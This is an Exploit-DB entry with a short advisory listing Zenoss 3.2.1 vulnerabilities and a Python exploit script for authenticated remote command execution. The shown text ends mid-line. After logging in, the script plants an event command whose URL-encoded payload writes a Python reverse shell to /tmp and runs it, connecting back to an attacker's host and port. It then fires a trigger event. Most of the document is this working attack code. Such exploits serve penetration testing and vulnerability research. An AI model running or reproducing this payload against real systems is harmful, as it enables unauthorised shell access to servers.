Exploit-DB #37570
Description: Zenoss 3.2.1 - (Authenticated) Remote Command Execution
Type: webapps
Platform: multiple
Date: 2012-07-30
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/54793/info

Zenoss is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability

An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.

Zenoss 3.2.1 and prior are vulnerable.

# Zenoss <= 3.2.1 Remote Post-Authentication Command Execution #################
# o Requires:     Credentials for a user with "ZenManager" or "Manager" roles.
# o Tested:       Zenoss 3.2.1
# o Default port: 8080
# Brendan Coles <bcoles at gmail dot com> # 2012-03-14
################################################################################
import socket, sys, random, time, re
#verbose = True
verbose = False

# usage
if len(sys.argv) < 6:
	print "Zenoss <= 3.2.1 Remote Post-Authentication Command Execution"
	print "[*] Usage: python "+sys.argv[0]+" <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>"
	print "[*] Example: python "+sys.argv[0]+" 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444"
	sys.exit(0)

# zenoss details
RHOST    = sys.argv[1]
RPORT    = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]

# reverse shell
LHOST    = sys.argv[5]
LPORT    = int(sys.argv[6])

# random file name
filename = ""
for i in range(0,random.randint(10,20)):
	filename = filename+chr(random.randint(97,122))

# connect to RHOST:RPORT
try:
	socket.inet_aton(RHOST)
except socket.error:
	print "[-] Error: Could not create socket."
	sys.exit(1)
try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((RHOST,RPORT))
except:
	print "[-] Error: Could not connect to server"
	sys.exit(1)


# Login and get cookie
if verbose: print "[*] Logging in"
request = "GET /zport/acl_users/cookieAuthHelper/login?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get ginger cookie
	m = re.search('(__ginger_snap=".+";)', data)
	if not m:
		raise Exception("[-] Error: Could not retrieve __ginger_snap cookie value")
	else:
		ginger_cookie = str(m.group(1))
except:
	print "[-] Error: Login failed"
	sys.exit(1)


# Add empty command to web interface
if verbose: print "[*] Adding command to Zenoss"
request = "GET /zport/dmd/ZenEventManager/commands/?id="+filename+"&manage_addCommand%3Amethod=+Add+&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	m = re.search('(Bobo-Exception-Type: Unauthorized)', data)
	if m: raise Exception("[-] Error: Incorrect username/password")
	else: print "[+] Added command to Zenoss successfully"
except:
	print "[-] Error: Adding command to Zenoss failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Edit command to drop a python reverse shell request in /tmp/
if verbose: print "[*] Updating command with payload"
postdata = "zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22"+LHOST+"%5C%22%3Bport%3D"+str(LPORT)+"%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F"+filename+".py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F"+filename+".py%20%26%26%20python%20%2Ftmp%2F"+filename+".py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+"
request = "POST /zport/dmd/ZenEventManager/commands/"+filename+"?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+str(len(postdata))+"\r\n\r\n"+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get zope cookie
	m = re.search('(_ZopeId=".+";)', data)
	if not m: raise Exception("[-] Error: Could not retrieve _ZopeId cookie value")
	else:
		zope_cookie = str(m.group(1))
		print "[+] Sent payload successfully"
except:
	print "[-] Error: Sending payload failed"
	sys.exit(1)


# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)


# Send trigger event and get event id
if verbose: print "[*] Sending trigger event"
postdata = '{"action":"EventsRouter","method":"add_event","data":[{"summary":"'+filename+'","device":"'+filename+'","component":"'+filename+'","severity":"Info","evclasskey":"","evclass":""}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
	# send request
	s.sendto(request, (RHOST, RPORT))
	data = s.recv(1024)
	if verbose: print str(data)+"\r\n"
	# get trigger event id "evid"
	m = re.search('"evid": "(.+)"', data)
	ev